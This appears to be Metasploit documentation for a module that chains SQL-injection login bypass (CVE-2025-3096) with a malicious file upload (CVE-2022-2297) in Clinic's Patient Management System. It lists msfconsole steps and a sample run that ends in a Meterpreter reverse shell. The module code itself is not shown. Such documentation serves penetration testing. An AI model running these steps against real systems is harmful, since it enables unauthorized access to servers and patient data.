## Vulnerable Application
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

## Verification Steps

### Vulnerable Application Installation Setup
1. Install Clinic's Patient Management System on your web server.
   - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)

2. Start `msfconsole` and load the exploit module:
```bash
   msfconsole
   use exploit/multi/http/clinic_pms_sqli_to_rce
```

3. Set the required options:
```bash
   set rport <port>
   set rhost <ip>
   set targeturi /pms
```

4. Check if the target is vulnerable:
```bash
   check
```

   If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
```
   [+] <IP> The target is vulnerable.
```

5. Set up the listener for the exploit:
```bash
   set lport <port>
   set lhost <ip>
```

6. Launch the exploit:
```bash
   exploit
```

7. If successful, you will receive a PHP Meterpreter shell.

## Options
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).

## Scenarios

```bash
msf exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

```

